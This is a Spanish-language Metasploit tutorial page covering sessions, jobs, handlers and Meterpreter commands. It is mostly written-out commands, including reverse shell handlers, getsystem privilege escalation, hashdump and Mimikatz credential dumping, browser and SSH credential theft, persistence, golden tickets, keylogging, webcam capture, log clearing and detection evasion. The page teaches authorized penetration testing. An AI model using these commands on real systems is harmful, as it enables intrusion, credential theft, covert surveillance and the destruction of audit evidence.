sesiones-jobs-y-meterpreter
Sesiones, Jobs y Meterpreter
Section titled “Sesiones, Jobs y Meterpreter”Sessions y Jobs
Section titled “Sessions y Jobs”Sesiones
Section titled “Sesiones”Cada vez que Metasploit establece un acceso a un sistema (Meterpreter, shell, VNC…) se crea una sesión. Las sesiones permiten gestionar múltiples accesos simultáneos.
# Listar sesiones activassessionssessions -l
# Salida típica:# Active sessions# ===============# Id Name Type Information Connection# -- ---- ---- ----------- ----------# 1 meterpreter x64/windows EMPRESA\admin @ WS01 10.10.14.5:443 -> 10.10.10.10:49215# 2 shell linux www-data @ webserver 10.10.14.5:4444 -> 10.10.10.15:42891
# Interactuar con una sesiónsessions -i 1
# Poner la sesión activa en backgroundbackground# o Ctrl+Z
# Renombrar una sesiónsessions -n "DC01_SYSTEM" -i 1
# Actualizar una sesión de shell a Meterpretersessions -u 2# Convierte una shell básica en Meterpreter si es posible
# Matar una sesiónsessions -k 1sessions -K # matar todas
# Ejecutar un comando en todas las sesionessessions -c "getuid"
# Ejecutar un script de Meterpreter en todas las sesionessessions -s post/multi/manage/shell_to_meterpreterLos jobs son módulos corriendo en background — principalmente listeners (handlers) que esperan conexiones entrantes.
# Ver jobs activosjobsjobs -l
# Lanzar un exploit como job en backgroundmsf6 > exploit -j
# Salida:# [*] Exploit running as background job 0.# [*] Started reverse TCP handler on 10.10.14.5:443
# Matar un jobjobs -k 0jobs -K # matar todos
# Ver información detallada de un jobjobs -i 0Configurar un listener persistente (handler)
Section titled “Configurar un listener persistente (handler)”El handler multi/handler recibe conexiones de cualquier payload generado con MSFvenom:
msf6 > use multi/handlermsf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcpmsf6 > set LHOST 10.10.14.5msf6 > set LPORT 443
# Opciones avanzadas del handlermsf6 > set ExitOnSession false # no matar el handler al recibir la primera sesiónmsf6 > set SessionCommunicationTimeout 0 # no timeout en la sesión
# Lanzar en background para recibir múltiples conexionesmsf6 > exploit -j
# Cuando llegue una sesión:# [*] Meterpreter session 1 openedMeterpreter
Section titled “Meterpreter”Meterpreter es el payload avanzado de Metasploit. Usa inyección DLL en memoria — el agente se ejecuta completamente en RAM sin escribirse en disco, lo que lo hace más sigiloso que una shell convencional. La comunicación está cifrada con TLS.
Comandos de sistema
Section titled “Comandos de sistema”# Información básicagetuid # usuario actualgetpid # PID del proceso de Meterpretersysinfo # información del sistema (OS, hostname, arquitectura)getenv # variables de entorno
# Navegación del sistema de archivospwd # directorio actualls # listar contenidocd C:\\Users # cambiar directoriocat archivo.txt # leer archivoedit archivo.txt # editar archivo con editor integradomkdir directorio # crear directoriorm archivo.txt # eliminar archivomv origen destino # mover/renombrar
# Transferencia de archivosupload /local/nc.exe C:\\Windows\\Temp\\nc.exedownload C:\\Users\\Admin\\Desktop\\flag.txt /tmp/Escalada de privilegios
Section titled “Escalada de privilegios”# Ver privilegios actualesgetprivs
# Intentar obtener privilegios de SYSTEMgetsystem# Prueba múltiples técnicas: Named Pipe Impersonation, Token Duplication...
# Ver si somos SYSTEMgetuid# Server username: NT AUTHORITY\SYSTEM
# Migrar a otro proceso (para estabilidad o evasión)ps # listar procesosmigrate 1234 # migrar al PID 1234
# Migrar a un proceso estable (ej: explorer.exe, svchost.exe)migrate -N explorer.exe # migrar por nombreEnumeración del sistema
Section titled “Enumeración del sistema”# Procesos en ejecuciónpspgrep svchost # buscar proceso por nombre
# Conexiones de red activasportfwd # port forwardingroute # tabla de rutas
# Variables de entornoenv
# Información del sistema detalladarun post/windows/gather/enum_systemrun post/linux/gather/enum_systemCredenciales y dump
Section titled “Credenciales y dump”# Dump de hashes del SAM local (requiere SYSTEM)hashdump
# Equivalente con módulo postrun post/windows/gather/hashdump
# Dump de credenciales en memoria con Kiwi (Mimikatz integrado)load kiwicreds_all # dump de todas las credencialeslsa_dump_sam # hashes del SAMlsa_dump_secrets # secretos LSAwifi_list # contraseñas WiFi guardadas
# Sin Kiwi — usando módulo postrun post/windows/gather/credentials/credential_collectorPersistencia
Section titled “Persistencia”# Módulos de persistenciarun post/windows/manage/persistence_exe # ejecutable en startuprun post/windows/manage/persistence # servicio o registry
# Crear tarea programadarun post/windows/manage/scheduled_task
# Golden Ticket (requiere hash de krbtgt)# Desde Kiwi:golden_ticket_create -d empresa.local -k KRBTGT_HASH -s SID -u FakeAdminkerberos_ticket_use ticket.kirbiPivoting y port forwarding
Section titled “Pivoting y port forwarding”# Añadir ruta para llegar a una red interna a través del host comprometidoroute add 192.168.2.0/24 1 # 1 = session ID
# Port forwarding local → objetivo (acceder a un servicio interno)portfwd add -l 8080 -p 80 -r 192.168.2.100# -l: puerto local del atacante# -p: puerto remoto del objetivo# -r: IP del objetivo interno
portfwd list # ver forwards activosportfwd delete -l 8080
# Proxy SOCKS para usar herramientas externas a través de la sesiónuse auxiliary/server/socks_proxyset VERSION 5set SRVPORT 1080run -j# Configurar proxychains para usar 127.0.0.1:1080Gestión de la shell
Section titled “Gestión de la shell”# Caer a una shell del sistema operativoshell
# Volver a Meterpreter desde la shellexit # o Ctrl+Z
# Ejecutar un comando único sin abrir shellexecute -f cmd.exe -a "/c whoami"execute -H -f cmd.exe -a "/c whoami" # -H = oculto (sin ventana)
# Captura de pantalla del escritorioscreenshot
# Keyloggerkeyscan_start # iniciar captura de pulsacioneskeyscan_dump # volcar lo capturadokeyscan_stop # detener
# Webcam (si está disponible)webcam_listwebcam_snap # capturar fotoMódulos post de Meterpreter
Section titled “Módulos post de Meterpreter”# Enumeraciónrun post/multi/recon/local_exploit_suggester # sugerir exploits de escaladarun post/windows/gather/enum_logged_on_users # usuarios con sesiónrun post/windows/gather/enum_shares # shares de redrun post/windows/gather/enum_applications # aplicaciones instaladasrun post/windows/gather/checkvm # detectar si es VM
# Recolección de credencialesrun post/windows/gather/credentials/chrome # credenciales de Chromerun post/windows/gather/credentials/firefox # credenciales de Firefoxrun post/multi/gather/ssh_creds # claves SSH
# Escalada de privilegiosrun post/multi/recon/local_exploit_suggester # listar posibles exploits locales
# Limpiezaclearev # limpiar los event logs de WindowsTipos de Meterpreter
Section titled “Tipos de Meterpreter”Meterpreter tiene variantes según la plataforma y el protocolo de comunicación:
| Payload | Uso |
|---|---|
windows/meterpreter/reverse_tcp |
Windows x86, TCP |
windows/x64/meterpreter/reverse_tcp |
Windows x64, TCP |
windows/x64/meterpreter/reverse_https |
Windows x64, HTTPS (más sigiloso) |
linux/x64/meterpreter/reverse_tcp |
Linux x64, TCP |
linux/x64/meterpreter_reverse_http |
Linux x64, HTTP stageless |
java/meterpreter/reverse_tcp |
Java (multi-plataforma) |
php/meterpreter/reverse_tcp |
PHP (para webshells) |
android/meterpreter/reverse_tcp |
Android |
Usar
meterpreter/reverse_httpsen lugar dereverse_tcphace que el tráfico de C2 sea indistinguible del tráfico HTTPS normal desde el punto de vista de la red, dificultando la detección basada en tráfico.
getsystemintenta múltiples técnicas de escalada de privilegios. En entornos con EDR activo, estas técnicas pueden ser detectadas. Verificar siempre qué privilegios tiene el usuario antes de lanzarlo para no generar ruido innecesario.